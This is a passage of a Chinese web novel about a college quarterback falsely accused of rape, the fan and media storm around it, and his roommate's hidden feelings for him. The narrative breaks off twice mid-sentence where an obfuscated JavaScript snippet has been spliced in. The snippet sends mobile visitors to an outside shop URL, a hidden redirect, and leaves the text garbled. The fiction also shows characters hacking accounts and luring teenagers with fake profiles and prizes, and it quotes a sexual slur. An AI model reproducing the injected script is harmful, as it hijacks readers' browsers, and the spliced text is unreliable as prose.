虽说他自己就是学心理学的,云决明有时仍然会觉得这一切难以置信——这些年轻的女孩竟然愿意为一个素未谋面,甚至都根本不知道她们存在的人疯狂到这个程度,仅仅是因为他的颜值和所谓的“完美人设”。更令他难以置信的是,虽说这些女孩打着“捍卫艾登”所做的事情,但正是她们的所作所为,将整件事推往了不可挽回的深渊。 高谏琦潜伏在好几个艾登的粉丝群里(她通过上贡由云决明提供的未公开照片而得以进入),她告诉云决明,有一部分粉丝认为她们必须做好反击的准备,一旦有人在外网上散播艾登就是嫌疑犯的谣言,她们就要立刻集体出动,放英文澄清的放英文澄清,刷“艾登是无辜的”“唐泽茹是个满嘴谎言的表子”等tag的要马上刷起来,英语好的可以对骂的要24小时在电脑前待命——然而,大约是这个消息在传递的过程中出了差错,艾登的名字还没被人提起,“艾登是无辜的”这个tag就率先出现了——还是发在翻译唐泽茹自述的推特下面。 这相当于是不打自招。 于是,一天后,10月6日,一则惊天消息在约州先驱报上刊登了出来——“著名橄榄球四分卫涉嫌在兄弟会派对上强煎中国女留学生”,里面详详细细地写出了强煎案发生的全过程,事后U大在这件事上的处理态度,唐泽茹的证词及当时派对上只有艾登这么一个华裔男性的事实,还有中国人为了支持女留学生为自己维权,在脸书及推特上刷tag,刷话题,刷回帖的行为。 报道上特别指出,他们会发现这件事的“真相”,就是因为那个“艾登是无辜的”tag的出现。 滑稽的是,在艾登的粉丝群里,这件事被定性为“穿山甲666博主及其粉丝得知反击策略后恶意提前放出tag并向小报爆料”事件。但经此一役,她们倒是吸取了一点教训,不敢继续在外网上发表什么评论了。 然而,不管这些粉丝们打算怪谁,这篇报道刊登出来以后,一切都无法挽回了。约州先驱报里列举出的种种证据,都如将耶稣钉在十字架上的长钉般,明明白白地把艾登挂在了罪人的祭台上。在美国,绝大部分艾登的支持者都是他的球迷,他们可不会因为他的脸或者他的家世就无条件地相信他。马上,就有人制作了“在调查结果出来以前抵制艾登·维尔兰德继续参赛”“禁止艾登·维尔兰德继续担任U大校橄榄球队四分卫”“抵制U大橄榄球赛”这样的话题。而且热度疾速攀升,几个小时后,云决明就已经瞧见有东海岸地区以外的用户前来留言了。 大部分U大的学生都认为艾登是无辜的,也有很小一部分球迷继续支持他,但仍有许多不友善的目光会突然在路上,教室里,甚至是停车等红绿灯时刺来,那已经不是嗅闻真相的眼神,而是不加掩饰的恶意——艾登的车子从那以后每天都会被扔臭鸡蛋,还有人在他的车后挡风玻璃上写了“强煎犯”两个字,致使艾登不得不搭乘云决明的车上下学。10月10日,U大在堪萨斯大学体育场对上松鸦鹰队比赛,中场休息时直接有观众拉起了横幅,抵制艾登继续比赛,差点引发球迷之间的恶斗,堪萨斯大学的保安及时请走了抗议的观众,才平息了观众席上的骚动。 那一场比赛,U大输得很惨,是自从赛季开始以来输的第一场比赛。 威尔逊校长坐不住了。 10月11日,一位ADP兄弟会新人被从兄弟会宿舍带走,U大对外宣称那就是强煎唐泽茹的犯人,他已经对所有犯罪事实供认不韪,同时U大所在的地方警察局也对其提出了公诉。 U大大概觉得这样就能平息所有舆论,让这场闹剧告一段落。 然而,就如之前所有企图让闹剧结束的行为一样,U大的做法,甚至都不能说是压死骆驼的稻草,简直就是一击猛地将骆驼拍死的板砖,直接导致了接下来迫使艾登不得不停赛的事情发生。 经历了这么多以后,为何他仍然睡得如此安稳呢,回想起过去三个星期发生的种种事件,云决明才倏然意识到,他似乎甚至没见过艾登曾因此流露出一丝一毫的痛苦——如果非要说的话,整整二十多天以来,艾登唯一一次外露情绪,就是U大将替罪羔羊推到前台上,让那个兄弟会新人承受所有责骂的那一次。 云决明轻轻叹了一口气。 下一刻,云开雾卷,黑暗中突然亮起一片星河,云决明惊得浑身一凉,一背的冷汗霎时冒出,差点就想要起身拔腿就跑,但是已经跪麻了的下半身却全然不听使唤—— 眼前,艾登忽然睁开了双眸,静静地注视着他。 63. Chapter·Ten “你在这做什么呢,Ming?” 艾登如耳语般轻声问道。 以一个刚从沉睡中惊醒的人而言,他的双眼未免也太清澈了,没有困意的遮蔽,干净得就像龙卷风过境后的夜空,黑暗大地上方升起的璀璨,而云决明惊恐地站在被摧毁的小镇中心,似个突然在森林中被火光捕捉的动物,手足无措,无处可逃,只能僵硬装死。 他醒来了多久? 云决明不敢问自己这个问题,更不敢问出口。 “你大半夜不睡觉,在我房间做什么呢,Ming?” 伸手拧亮了床头柜上的灯,艾登从床上撑起半边身子,纯灰色的棉布被单一下子被推到腰部,被牵起的肌肉像一块块堆叠又彼此挤压的太妃糖,隐约可见一丝黑色睡裤的边缘,从褶皱探出头。云决明嗓子干得发紧,视线不断本能地躲闪开又被他自己硬是推回原地——哪有男人不敢看自己好朋友的裸体?“我,我——”在开了空调的房间里,他觉得自己的脸颊就像杯热茶一样袅袅冒着蒸汽,“我担心你——” “担心我?”艾登带着一点玩味的笑意重复了一遍,才被他吻过的指尖松松地搭在床单上,云决明用尽所有气力控制自己不要向那儿望去。“对,”他舔了舔如干旱了三个月的大地般龟裂的嘴唇,“我担心你——因为,明天,you know,就是,um,that,学校要做出决定,you know……” 他语无伦次,大脑在中文和英文中间来回跳跃,捡到哪个词就算哪个词,直接就从他嘴里丢出。 “你担心我会因此睡不好?” 云决明点头如捣蒜,随即又觉得不对,立刻停下了——要是他只是担心艾登会因此而睡不好,那走进房间发现他已经熟睡时就应该出去,不可能还跪在他床边端详他的睡颜。 艾登的眼神变得微妙起来。 “我还担心你会不会在做噩梦,”见状,情急之下,云决明有如神助般憋出了一句完整的话,“我站在门口时,听见了房间里似乎有声音。” “既然你都来了,”艾登看上去似乎没打算继续在这个问题上纠结,而是向后滑开,掀开了被子,“你想上来陪我一起说会话吗?我估计我短时间内是睡不着了。” 云决明脸红心跳地别过了眼神,假装自己突然看见了一条不存在的床单褶皱,紧张地扯着床边,“上——上来?”他不自然地反问了一句。一般的男性好友间会这么做吗?他扪心自问着,恨为什么没有人出过一本“男性友谊守则”,至少此刻能有个参考。 “你难不成想一直跪在地上跟我说话?”艾登吃惊地望着他,“你想坐在我床上也行——我只是觉得如果一起躺下的话,就不用一直保持一个姿势了。” 云决明费了一点劲才从地上爬起来,起身时膝盖还发出了喀啦喀啦的声音作为抗议,“要我给你揉揉吗?”大约是嫌躺在床上还不够让云决明气血上涌,心脏爆炸,艾登得寸进尺地又抛出了另一个更诱人的提议,“你的腿似乎都麻了。” “不必了。” 云决明斩钉截铁地拒绝了。他蜷缩在床的另一边,只扯了一点点被子盖在自己身上,双眼牢牢地固定在天花板上,就像目光已经用502胶水粘在了油漆上似的。但被褥中的温暖——艾登还尚未消退的体温,气味,甚至是他肌肤残留的那种顺滑,结实的触感,一下子便紧紧将他包裹在内,如气流捧起飞蛾般将他举到天上,任他自由在灯火通明的城市上空翱翔。氧气,自控,思考的能力,忧虑,疲倦,惶恐不安的猜测,都被留在了废墟中,掩埋在破铜烂铁下,等待着被人遗忘。 他现在躺在艾登的床上。 无法控制地,云决明的心思甜蜜地顺着月色流淌,沿途溅起无数星光。 他现在躺在艾登身旁。 只要他的手往右边走四分之一米,就能握住他的手。 只要他的脸往右边挪二十分之七米,就能吻上他的唇。 只要他的身体往右边挪二十五分之七米,就能拥抱住他整个人。 只要他一扭头,就能看见艾登。 他半撑着手臂,侧躺着望着云决明,双眼晕开在睫毛投下的阴影中,像在铁板上缓缓融化的蜂蜜糖,肩膀与下巴间形成了一个狭小的锐角,仿佛天生就是为了能安放一只向他搂去的胳膊所预留——云决明猛地转过脸,差点扭着自己的脖子,“你怎么不紧张?”他问道。 “紧张明天会议的结果?” “嗯。” “我再怎么紧张,也改变不了会议的后果的。” “但你就不担心自己从此不能再继续留在橄榄球队中,不能担任四分卫,不能继续比赛了吗?”云决明一个激灵,甚至都忘了艾登此刻是什么姿态,是什么模样,迅速转过身来与他对望着,“如果——” 想到艾登的运动前程有可能在瞬间就万劫不复,云决明就觉得难以呼吸,这不再仅仅是脑海中的担忧,而是一种实际的重担,沉甸甸地压在他的胸口,五脏六腑向内坍缩,成为一颗小小的,被命运攥在手中的心,随时都有可能被挤压成一地血沫。但艾登的神色没有什么变化,仍然平静,温柔地看着他。“如果?”他问道,声音低低的。 “如果这就是结束,怎么办?”云决明遮掩不住自己眼里的痛苦,它们尖锐得能扎透一切伪装,“橄榄球是你的父亲留给你的重要回忆——” “是的,”艾登打断了他的话,“但如果他还活着,他也会接受这个结果——接受我可能以后再也没法继续待在橄榄球队中,接受我以后无法再担任四分卫,接受我不能再比赛。他同意我爷爷的提议,把我送去学橄榄球是为了我不被别人欺负,为了我能有一项爱好,为了我能强身健体。他从来就没有指望我必须在橄榄球上达成什么成就。” “那你呢?难道你就没有因此而感到痛苦吗?” 床头昏黄的灯光越过云决明低矮的肩头,投射在艾登身上,照亮了他嘴角那一丝若有若无的苦笑。 隔了好一会,他才开口。似乎需要更多时间决定该怎么回答云决明的问题。 “当我的父亲去世以后,有整整半年,我把自己反锁在房间里,不跟任何人说话,也不愿意与任何人见面。 “我这么干的第二天,爷爷就直接将美国最好的儿童心理治疗师请上了门。而我从听见他敲门时起,就把电视机的声音开到最大,自己躺在床上,用枕头掩着脑袋。他每天都来,每次都在门外絮絮叨叨地说了好几个小时,一共待了半个月,但我连他的名字都不知道,我甚至不知道他的声音听上去是什么样的。他唯一干过的好事,就是嘱咐我的家人不能用蛮力打开我的房门,不能在我还没准备好的时候就强迫我离开房间。 “那半年里,我一直在反复看家庭录像。我不明白为什么电视机里父亲还在说话,还在微笑,现实中他却无法再这么做了。于是我学会了跟电视上的他说话,我假装父亲生病了,他能说的话永远只有那么多,他能给我的回应永远只有那么多,我必须最大程度地利用起来。在某个视频里,父亲说的第一句话是‘嘿,已经是圣诞节了,儿子。’于是每次我看那个视频前,我都会大声地询问着空荡的房间,再过几个月是什么日子啊?随即,我就能听见我父亲说‘嘿,已经是圣诞节了,儿子’。 “在那之后,Ming,任何痛苦都不能再称之为痛苦,比较起来都不值一提。” 艾登的声音在这之后戛然而止。两个男孩,一个交叠着双手,缩成小小的一团,向上仰望着;另一个舒展着身体,如同侧躺着的贝维德雷躯干,向下垂视着。然而,在这一刻,云决明反而觉得自己是更坚强,更伟岸,更悲怜的那一个,艾登肩膀洒下的阴影将他笼罩其中,然而在情感上,云决明却觉得自己已经将艾登紧紧揽在怀里——这个拥抱不带任何情|欲,也没有任何特殊的含义,仅仅是为了他内心那个从未走远的九岁孩子。 “如果非要说的话,U大把那个无辜的兄弟会新人拉出来当替罪羔羊这件事,倒比这件事来得更让我愤怒。我之前没有告诉你,不过现在无所谓了——U大会这么做,是因为我爷爷,还有杰森的父亲都给威尔逊校长打电话了。杰森的父亲开了一个任何人都无法拒绝的价码,那个兄弟会新人几乎是欣喜若狂地站出去顶罪的。” 艾登家的三个长辈都被这起案件气得不清,奶奶还专程给艾登打了一个电话——一接通就不带喘气地把他数落了半个小时,生气他一直没把这件事跟家里人说,他们还得看报纸才知道艾登牵扯进了这么一起案件。 后面的对话,云决明没能偷听到。艾登一直在“嗯嗯”,到后来却突然脸色一变,拿着电话去阳台上说了——云决明猜测可能是奶奶提到了艾登爷爷打算帮他解决这件事,在屋内的他只能听见艾登不断强调“这是我自己的事,”“让我自己解决,”“请你们不要担心,”“我是认真的,我已经不是小孩了。” 但从结果来看,艾登的宣告没有用,他的爷爷还是强硬地插手了。 “但那根本没有用,不是吗?”云决明叹了一口气,“有用的话,也不必召开这场会议了。” 在过去的三个星期里,唐泽茹唯一一次站出来发声,是在兄弟会新人主动站出来承认罪行的几个小时后。 她登陆了自己的脸书,留下了这么一句话,“我已经决定,不向警方提出任何起诉,做撤案处理。”便又消失了。 唐泽茹可能以为这句声明会对目前混乱的情形有所帮助,然而,就跟其他所有试图力挽狂澜却只成了推波助澜的行为一样,非但无济于事,反而雪上加霜。 这则帖子发出四个小时以后,一位名叫阿丽莎·博克的主妇,在脸书和推特上都发表了一篇名为《我选择不再沉默》的文章。 “我曾经是U大的一名学生,”她在开头写到,“如今,我是三个孩子的母亲,一位聪明,优秀,包容又伟大的男人的妻子,以及,一个在沉默中苟活了多年的,性侵受害者。 “我第一次在约州先驱报上看见那篇关于艾登·维尔兰德涉嫌强煎中国女留学生的报道时,我就考虑过要不要站出来,说出我的经历。但考虑到我的孩子们可能会因此受到影响,我迟疑了。 “但当我看见U大把一个明显无辜的男孩(他甚至都不是华裔!而证词里非常清楚地指明了这一点)推到台前,在幕后迫使他主动承认根本不是由他犯下的罪行,好以此逃脱媒体上铺天盖地的“不作为”的指责,同时洗清艾登·维尔兰德身上罪名的这种行为时,我再也坐不住了。 “更别提,在几个小时后,那个可怜的(愿上帝保佑她!)受害者女孩就站出来说她不会提出任何起诉——在看到那句话的刹那,我真正地下定了决心,不再保持沉默。我要将我当年的故事说出,因为这个叫泽茹·唐的女孩所经历过的一切,就是我当年经历过的一切,而我不愿让我的女儿,或者是任何人的女儿,再经历一次这如同地狱般的循环。 “我在大二那一年,参加了一场同样由ADP兄弟会举办的派对,讽刺的是,那场派对同样是为了庆祝某个兄弟会成员的生日,邀请来的宾客同样只有大学里的女孩——我猜这是兄弟会传统。 “我想你猜得出接下来发生了什么事,就跟泽茹·唐一样,我的饮料里同样被人下了药。我起身去了一趟厕所,尽管我嘱咐了我的女伴看好我的饮料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041240|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但她中途有一会因为一个来搭讪的男生分神了——我猜我的饮料就是那时候被人动了手脚。 “第二天早上,我在兄弟会宿舍醒来,头痛欲裂,昏昏沉沉,我以为是宿醉的缘故,其实是药效还没有散去。我根本没有意识到我被性侵了,因为我身上的衣物是基本完整的。性侵我的人很有经验,我猜他已经这么干了很多次,却几乎没有被发现过。我回到家以后洗了一个澡,那时我才注意到下身的红肿与不同寻常的疼痛。 “当时,我的理智已经告诉了自己我遭遇了什么,但我花了好几个月的时间才使自己相信了这一点。泽茹·唐第二天早上就有勇气去警察局报案,并且在医院留下了验伤报告作为证据,这份勇气和力量实在让我自愧不如,但也更加坚定了我认为这个故事有必要讲出来的想法——如果一个像她这样坚强,坚定,不屈不挠的女孩都仍然会遭受这样冤屈的对待,今后,还有谁敢站出来呢? “等我终于从被性侵的屈辱,痛苦,以及数次自杀尝试中稍稍恢复以后,我向警察报案了。 “在这里,我必须羞愧地承认一点。当年我没有泽茹·唐那般意志坚定,我虽然报警了,但我内心深处仍然担忧着这件事对我的生活,对我的名誉,对我未来的生活会造成的影响。所以当U大的一个职员带着现金和一份保密协议书来找我谈判的时候,我屈服了。在那时的我看来,自己默默地消化这件事,比闹得人尽皆知,满城风雨要好得多——更何况,我还能从中拿到一笔不菲的回报,足以偿还我的学生贷款,让我不必再继续依赖我的父母。 “由于我当时签署了那份保密协议书,我无法在这篇帖子中提到究竟是谁性侵了我。但我的律师仔细研究了那份协议,找出了一些连他们自己都没有发现的漏洞,允许我把这个故事公之于众。 “但我必须要指出的一点是,当年我放弃起诉性侵我的人,不仅仅是因为金钱的诱惑,更是因为我内心很清楚,以对方的家世背景而言,我根本没有获胜的可能,就算我选择起诉,也无法将犯人绳之以法。这个念头让我是如此绝望,过去了十年,我都还能清楚地回味起当时我所感受到的每一分痛苦——我相信,泽茹·唐选择放弃起诉,不仅仅是因为她起诉的是个无辜的人,也因为她知道,即便她能起诉艾登·维尔兰德,她也不可能取胜。维尔兰德家在操纵法庭这一点上本就臭名昭著,相信许多人都还没忘记当年理查德·维尔兰德谋杀案破获得多么迅速,凶手被定罪的证据又有多么潦草,同样的情形很有可能会出现在泽茹·唐身上,我不怪她选择明哲保身。 “我曾经被ADP兄弟会的成员性侵过,如今我选择不再沉默。 “如果你也有类似的经历,转发这篇文章,从这一刻开始发声。那么也许人们就会意识到大学校园里存在的这类问题是多么严重,多么急需重视和处理。也许有一天,当足够多的我们选择不再沉默,我们就能真正地为我们的女儿,我们的孙女,所有在我们之后成长起来的代代女性,创造一个安全而平等的校园环境。 “#我选择不再沉默” “至少,有许多好事因为唐泽茹的这件事而发生了,”艾登轻声说,从他忧郁的神色判断,云决明觉得他应该也想起了那篇文章,“除去#我选择不再沉默这件事引起的轰动和影响,至少疏眠和艾莉也因为这件事,共同建立了一个网站,去帮助那些在校园里遭遇性侵却又无力保护自己女孩——要是没有这件事,她们两个估计都不会认识,更别说一起做这种事了。我还是挺为此而高兴的。” 云决明深吸一口气,安抚住了心中因为艾等的话而又蠢蠢欲动的群鸦,迫使它们再度回归沉睡——如果当年也能有人帮他……不,别想了。 “确实很好。”他说,“我听说黎疏眠联合了很多在美国念法学专业的中国留学生,以及华裔移民后代,好为那些在网站上求助的女孩子们提供法律援助。” “疏眠告诉你的?”艾登眉毛一挑,“你经常跟疏眠打电话?” “如果这让你不开心了的话,我会马上停止。”最近,因为艾登的事情,他和黎疏眠确实经常打电话,“我和她仅仅是朋友。” “不,我不是那个意思。”艾登马上笑了起来,可能是光线的偏差问题,云决明觉得他的神色有些落寂,“这其实是我想说的另一件事——你认为留在橄榄球队里对我来说很重要,但如今,它对我来说已经没有过去那么重要了。” “嗯?” “以前,我把我的橄榄球队看得很重,没什么是我不会为了队伍而牺牲,而忍辱负重的——包括忍受杰森的言行,包括眼睁睁地看着一个能力远低于我的人坐在队长的位置上,包括尽一个橄榄球四分卫应尽的社交义务。因为只有我的橄榄球队员会平等的对待我,而不是把我当成某个需要崇拜,仰视,奉承的对象,他们是我能拥有的,最接近朋友的存在。 “但现在,一切都不同了,我有了你,也和疏眠成了好朋友——我不是那种喜欢交友遍天下的人,能交心的朋友,知己,有那么一两个,就已经足够了。 “这就是我想表达的意思,Ming,”他认真地看着云决明,细如琴弦的发丝落入眼中,似麦浪与光线的共同舞动,“我不可能喜欢疏眠,现在不可能,以后也不可能,她在我心里就跟艾莉一样,是位值得呵护的姐妹,值得珍惜的好友——但绝对不会,我是说,绝对绝对不会,再对她产生任何一丝浪漫的想法。” “……所以呢?”云决明仍然不解。 “没什么,只是想让你知道这一点。” 艾登仍然保持着那看着有点落寂的笑容,伸手微微一揉云决明的脑袋,又迅速收回了。 64. Chapter·Eleven 艾登这么说,大概是为了让他安心吧。 从艾登让黎疏眠来接自己去兄弟会宿舍那一次开始,云决明就隐隐约约察觉到了他似乎希望把自己跟会长凑一对的心。 一开始,他还不甚确定这一点——大约是暗恋的那一方总是多疑而且不自信的,云决明老觉得这是艾登用来测试自己的方式,想试探看看自己对会长有没有意思,亦或是会长对自己有没有意思。直到此刻艾登几乎是像宣誓一般认真地说出了这段话,云决明才敢谨慎地得出结论。 但他不敢说自己也仅仅是把黎疏眠当成朋友,永远不可能对她产生任何浪漫的想法——尤其是在他不清楚艾登到底醒了多久,是否察觉到落在他指尖上的那一吻的前提下。 “那就好,”他故作镇定地说,“其实,我有过想要追求黎疏眠的想法。” “噢,是吗?” 艾登听上去比云决明想象中的反应要惊讶得多。 “嗯,”云决明硬着头皮说了下去,反正不管艾登怎么撮合,黎疏眠都不可能喜欢自己。他宁愿让对方误会自己喜欢的是会长,“听你这么说,我就安心多了。以前我一直顾虑她是你的前女友,我们又是室友,担心你会觉得尴尬。” 艾登眨了老半天眼,才缓慢地开口了,“我不会觉得尴尬的,你尽管去追。” “以后再说,”云决明适可而止地终止了这个话题,“你想好了穿什么参加明天的会议吗?” “艾莉从家里给我取来了一套黑领结西装,”艾登说,“奶奶已经帮我把衬衫熨好了。” “会不会不够正式?”云决明问道,他以为艾登会穿那套他在高中毕业舞会上穿过的白领结西装。 “我知道杰森他爸肯定会逼着杰森穿白领结,”艾登冷哼一声,“我可不想和他像对双胞胎一样出现——黑领结西装对这种场合来说已经够正式了。” 云决明这才记起,杰森明天也要出席会议——他在橄榄球队里的去留也同样需要学校做出决定。 四分卫和球队队长同时停赛,甚至有可能面临永久禁赛的处罚,这个几乎从来没在任何球队里出现过的情形让U大校橄榄球队占据了连续好几天全美国各大体育报刊的头条。用的都是诸如“震惊!”“难以置信!”“突发!”“灾难!”“噩梦!”“前所未有!”这样的形容词汇。前全国橄榄球联盟球员皮特·克劳斯在“麦克&麦克晨间访谈”上坦言,他认为这个决定会给U大带来上千万美金的损失,在名誉上受到的损害更是无法估量。 “我可以如实地告诉你们,”皮特激动地拍着他的大腿,唾液飞溅地对两位主持人说道。他的声音太大了,当时正用电脑看直播回放的云决明不得不赶紧调低音量,“我从十岁开始打橄榄球,从来没见过这种事!从来没见过这种事!一支球队能拥有一个像艾登·维尔兰德那样的,各方面天赋都非常平衡的四分卫,是可遇不可求的。换做是任何一个校橄榄球队,学校和教练都会像保护一件无价之宝一样,拼尽全力保护他们的四分卫——” “但你瞧,”主持人之一,高个子的那个,打断了皮特的话,“许多人都认为事情会发展到这个地步,都是因为U大过于包庇其校橄榄球队队员的原因。那个如今在互联网上异常火爆的话题——” “#我选择不再沉默,”矮个子主持人插嘴了,“是啊,特别火爆,刚刚发出来一个多小时,就得到了好几千的转发,而且有好多网红,脱口秀主持人,喜剧明星纷纷转发,说出自己在大学里遭受兄弟会成员骚扰但不得不默默忍受的故事,现在已经有十几万的转发和讨论量了。” “是的,在节目开始以前我还特意确认了一下,已经有超过十八万的转发和讨论量了。就是这个话题,牵扯出了将近一百多起U大兄弟会性侵案,最早可以追溯到三十年前,最近的,就是那个中国女留学生的性侵案,U大都用金钱和退学处理等威胁给遮掩过去了。” “这就是我的意思,U大没有保护好艾登·维尔兰德,”皮特再次开口了,他的神色很坦然,“如果他们没有那么急功近利,随便就打算推一个很明显无辜的兄弟会成员出来当替罪羔羊,而是好好咨询公关公司,做好危机公关,那么艾登·维尔兰德根本不可能得到停赛的处置。” “你的意思是……”两个主持人彼此交换了意味深长的眼神,“你认为即便艾登·维尔兰德性侵了那个女孩,他也不应该遭到退赛的处置?” “别随便曲解我的话,我可没有这么说,”皮特不耐烦地说道,“更何况,我听说艾登已经向学校提交了证明他是无辜的证明了。” 证据是艾莉,云决明,还有黎疏眠共同收集的。 报纸上刊登了唐泽茹性侵案的新闻后,各路八卦小报的记者,及油管相关频道的创作者都向U大涌来,争先恐后地想要采访艾登,获得第一手资讯。为此,U大不得不紧急在进入校园的各条路上设置了路障,只允许校巴及贴有校园停车许可的私家车辆可以进入,但这根本拦不住那些记者,有一些油管上为了博眼球的网红博主,甚至在凯斯勒教授正在教课的时候闯了进来,想要给艾登拍照,结果反而被凯斯勒教授恶狠狠地臭骂了一顿。不过,那节课的教学内容是难度颇大的泊松回归,要是凯斯勒没有把那几个博主赶走,云决明估计坐在第一排的那几个刻苦好学的印度学生也会气得把他们打出去的。 考虑到他继续在学校上课会对其他学生造成的影响,艾登不得不申请转为网络授课,并且尽可能地减少除了比赛和训练以外出门的次数和时长,免得被记者们找到他现在的住址。 这就意味着他没法出面,也不可能出面调查这个案件,只能交给云决明,艾莉,和黎疏眠来处理。 艾登的家人也受到了一些骚扰,不过并不严重。有个记者跑到了艾登父亲创立,现在由祝阿姨打理的出版公司,想要堵截艾登的妈妈,还好保安及时将他们赶走了。同时,因为之前有艾登的粉丝扒出了艾登家的大概位置,这个情报被在美华人以高价卖了出去。虽然艾莉马上就发现了发在分类广告网站上的交易信息,并第一时间黑了进去删除掉了帖子,但还是没法避免线下的交易。好在警察在艾登爷爷的要求下马上就加大了街区的巡逻力度,即便偶尔有可疑人士在街道上出没,探头探脑地想要找到哪一栋屋子是艾登家,也立刻被赶走了。 也有一些记者听说了艾登有个室友,便想退而求其次,从云决明这里打听消息。然而,他们能依靠的就只有艾登发在网上的那么一张照片,美国人又对亚裔脸盲,云决明靠着一副黑框平光眼镜就成功融入了U大为数众多的中国人群体中,一次也没被发现。 至于黎疏眠,她本身就是法学院的。别人的话筒和摄影机还没追到她面前,她就已经掏出了一份自己起草的合同拍在了对方脸上,除非对方愿意签署并且把所有有她出镜的视频或文章所得利润的95%分给她,否则禁止一切拍摄,而且她保留一切上诉权利。这份架势吓到了不少还在念高中,对法律一窍不通的油管博主,要是碰到不依不饶的小报记者,她就把禁止拍摄的学校考试试卷挡在自己脸前,这样,即便那些小报记者想要刊登她的照片,也不得不给她打上马赛克。 她,艾莉,还有云决明都没让这点小小的困难阻挠自己。 一开始,他们三个打算收集证词,通过证人的说辞还原生日派对那天晚上的情形,以此来证明艾登是无辜的。然而,这项工作才进行到一半,U大就把那个倒霉的兄弟会新人推出来当了替罪羊,他们便没法再继续了——毕竟,警察都已经逮捕了所谓的“真凶”,这种时候还继续为艾登收集证词,就显得非常可疑了。 这个时候,云决明又提出了一个新思路,他认为,既然唐泽茹敢在给北美吐槽君的投稿里提到这是由一个被她带去派对上,还引见给了艾登的高中女生写的,现实中,这个女生多半也应该存在,而且说不定真的在生日派对上由唐泽茹介绍给了艾登认识。这种事太容易被戳穿了,唐泽茹应该不敢在这类细节上撒谎。 如果能找到那些高中女生,也许可以从一个不同的角度找到突破口。 如果这件事是唐泽茹假扮的,从她爆出性侵后的一系列结果来看,她的心理承受能力应该没有强大到可以一个人不动声色地完成这个天大的谎言。人在重压下,往往会寻求倾诉来发泄。 经云决明这么一提,艾登总算记起了派对上确实发生了这么一回事——唐泽茹带了六个高中女生来见他。他甚至记起了其中一个女生的名字。 林珊珊。 只要有了名字,哪怕只是一个模糊的发音,对艾莉高超的黑客能力来说也绰绰有余了。她只花了几个小时就锁定了这个女孩——她在约州北部的一所私立高中就读,那所高中离唐泽茹就读的大学很近,怪不得她们会认识。 保险起见,黎疏眠没让艾登去,而是自己亲自去会见了那个女生。 云决明和艾莉都不知道她用了什么办法说服林珊珊讲出自己知道的事实。 他们只知道,那天晚上,黎疏眠是一脸愠色地出现在公寓门前的,云决明刚打开门,就听见她干脆地说,“我的名声彻底毁了,林珊珊告诉我,她会出来见我,是因为她害怕如果她不出来,我就会把她卖给兄弟会的成员。” “她怎么会这么想?”云决明愣住了。 “为了我的心情着想,我没有去深究这些知道了无用,还会让自己抓狂无比的事,”黎疏眠苦笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041241|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,“只要我和艾莉救助的那些女孩们相信我,我觉得就够了——再说了,没有这个被毁了的名声,我多半还拿不到这个。” 她把手机上的照片递给云决明看,是微信的聊天记录,日期清楚地表明这是在艾登生日那天的派对上发生的。 「你看过消失的爱人那部电影吗?」这是由备注“唐泽茹”发来的消息。 林珊珊:「看过呀,怎么了?你还在跟艾登说话吗?」 「他问起这部电影吗?」 唐泽茹:「嗯。」 「我没怎么看过,但是里面有个情节,」 「女主角,用红酒瓶伪装了被囚禁她的人□□的迹象,」 「你觉得可行吗?」 林珊珊:「艾登居然跟你讨论这个嘛[冷汗][冷汗]」 「我不知道诶,」 「应该可以吧?」 「但是电影有艺术加工啊,」 「而且应该很痛吧?」 后面,唐泽茹就没有跟她继续说话了,下一条消息是她询问唐泽茹是不是被性侵了的消息,但是唐泽茹根本没有回复。 “别高兴的太早,”他看完以后,黎疏眠告诫道,“在我们几个看来,这已经可以证明整件事都是唐泽茹的自导自演。但这种证据在法庭上轻易就能被有点经验的律师推翻。不过,我的想法是,既然她连计划最敏感,也最重要的部分都跟这个女生说了,说不定别的部分她也跟别的女生讨论过。” “也许可以让艾莉黑进她们的手机?”云决明提议道。 “不行。”黎疏眠摇了摇头,“万一以后艾登被起诉,这些证据如果要呈上法庭,证明他的清白,获得的方式就必须是合法合理的。我甚至有录音证明林珊珊是自愿将聊天记录发给我看的,就是出于对这一点的担忧。不过,艾莉倒是可以利用她的黑客能力帮我找出这些女生的弱点,看怎么把她们约出来——总不能每一个都依靠我的‘名声’恐吓吧。” 就这样,她们在接下来几天的时间里,变着花样和法子把剩余的五个女生都找了出来,有时候是用假冒对方暗恋的男性社交账号约出来,有时是假装派送免费的丝芙兰化妆品兑换券(有效期是当天),或美甲劵,或者假称对方中了偶像演唱会门票(那个女生刚好参与了一场门票抽奖活动)必须去活动现场领取。 从这五个女生手里,他们又得到了另外两份聊天记录,从碎片的聊天记录中大致推断出了当晚的真相—— 被兄弟会成员赶出兄弟会宿舍以后,唐泽茹驾车离开,去了离学校最近的药店里购买了安全套,再次回到兄弟会宿舍。 这个期间,她一直在跟那几个高中女生发信息,刺探派对上的情形,但是她们全都因为有宵禁,纷纷接连离开,没能向唐泽茹传达那个至关重要的情报——艾登还留在派对上。 抵达宿舍后,唐泽茹又重新从窗户爬了进去,留下了内裤,撕开的安全套袋子,还有自己的手机作为证据。 可能是为了留下证据,她跟那几个女生说她稍稍离开了一会,现在又回到了派对上,这是她给那些女生发的最后一条消息。 随即,她就从窗户离开了。 